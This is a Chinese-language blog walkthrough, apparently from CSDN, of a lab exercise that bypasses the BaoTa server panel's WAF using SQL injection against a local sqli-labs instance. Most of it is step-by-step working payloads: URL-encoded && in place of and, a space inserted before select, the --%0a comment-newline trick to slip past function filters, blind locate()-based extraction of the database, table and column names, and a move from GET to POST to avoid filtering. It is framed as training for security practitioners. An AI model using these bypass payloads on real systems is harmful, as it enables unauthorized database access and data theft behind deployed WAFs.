WAF - SQL注入绕过宝塔 靶场实战

实验介绍

宝塔面板是广东堡塔安全技术有限公司研发的服务器管理工具,是一家专门从事服务器相关软件及服务研发的公司,宝塔的愿景就是让使用者更简便的使用服务器。宝塔面板是一款服务器管理软件,支持windows和linux系统,可以通过Web端轻松管理服务器,提升运维效率。例如:创建管理网站、FTP、数据库,拥有可视化文件管理器,可视化软件管理器,可视化CPU、内存、流量监控图表,计划任务等功能。

宝塔面板拥有网站的防护功能,可以防止sql注入,挂马,cc攻击等网站入侵的功能

 

实验目的

1.掌握sql注入绕过宝塔技巧

2.了解宝塔面板过滤方式

 

实验开始

第一步:

首先我们测试注入点,结果如下图所示

1 or 1=1    拦截               1 and 1=1   拦截             1 || 1=1        拦截

 

第二步:

id=1 %26%26 1=1   通过

在这里我们使用&&替换and关键字来做判断,在SQL语法中&&等价于and关键字,然后利用URL编码对关键字内容&&url编码,怕和传递多个参数的&字符冲突,&字符编码后对应为%26,我们发现可以通过此方法绕过

接着我们继续尝试

 

第三步:

1 && (select 1)=1 && 1=1  拦截

 

第四步:

1 && ( select 1)=1 && 1=1   通过

猜测可能匹配到了SQL语句中携带select关键字,符合拦截规则而被拦截,在select前面补空格就可以绕过

 

第五步:

1 and( select database()='security') and 1=1   拦截

尝试把数据库名称跑出来这里利用databases()函数获取当前数据库名称被拦截了

这里猜测拦截的是database()函数,同理猜测可能是关键字拦截

 

第六步:

1 and( select database/**/()='security') and1=1 拦截   中间加注释符操作绕过验证失败

 

1 &&( select database--%0a()='security') &&1=1  通过

这里使用了 --换行(换行转化对应的URL编码为%0a

 

 

第七步:

解释一下这里--%0a为注释后面代码的然后换行,Mysql换行后的代码还是可以跟着上一行的执行,这样可以实现绕过。由于宝塔拦截的MySql函数还是挺多的,但是庞大的mysql函数库,还怕他不成,从上外下试了挺多个函数后,找到了一两个可以用的函数,这里拿locate()举例,该函数表示参数1的值是否在参数2里,是的话返回真,否则返回假,那我们开始来猜解.

id=1 &&locate('s',( select database--%0a())) &&1=1  返回真

 

第八步:

这里其实可以给locate加个判断,看第一个字符是什么再进行猜解,例如

id=1 &&(locate('s',( select database--%0a())))=1&&1=1返回真  表示第一个字段是s

id=1 &&locate('b',( select database--%0a())) &&1=1返回假  

 

第九步:

id=1&&(locate('se',(select database--%0a())))=1&&1=1 为真。

 

id=1&&(locate('sa',(select database--%0a())))=1&&1=1为假。

 

第十步:

一路下来,大概猜解流程就是这样

id=1&&(locate('security',(selectdatabase--%0a())))=1&&1=1 返回真

我们就知道数据库名security

接着就是猜表了

 

第十一步:

id=1&&locate('e',(select table_name frominformation_schema.tables where

table_schema='security' limit 0,1)) &&1=1  拦截

我们发现在进行get注入时候发现拦截。

 

 

我们猜测是select from这个参数被拦截。

 

 

第十二步:

当我们去掉from之后我们发现宝塔不对我们的请求进行拦截

http://192.168.0.121/sqli-labs-master/Less-1/?id=1'   %26%26 locate('e',( select 1 )) %26%26 1=1

 

第十三步:

然后我们发现改成post型传入发现不拦截,可能是宝塔的注入问题

 

第十四步:

这样我们就换到11post注入来抓包,我猜出了第一个表,表名为emails。就不一一猜解了,接着猜字段,查询到第一个字段id

1&&locate('id',(select column_name from information_schema.columns 

where table_schema='security' and table_name='emails' limit 0,1))

&&1=1

接着我们查询内容

 

第十五步:

1 &&locate('1',(select id from emails limit 0,1))&&1=1  拦截

1 && (select locate('1',id)from emails limit 0,1)  &&1=1  拦截

1 &&(select--%0alocate('1',id)from emails limit 0,1) &&1=1  拦截

 

第十六步:

1 &&( select--%0alocate('1',id)from emails limit 0,1) &&1=1   通过

我们在select前面加一个空格,就可以绕过了。

 

PS:在这里我就不爆所有内容了  思路都是一样的

总得来说在绕过宝塔的时候有一些规则还是我们需要去思考的,像在select frompost不拦截,get拦截,这种绕过就有一定的局限性

  • 1
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值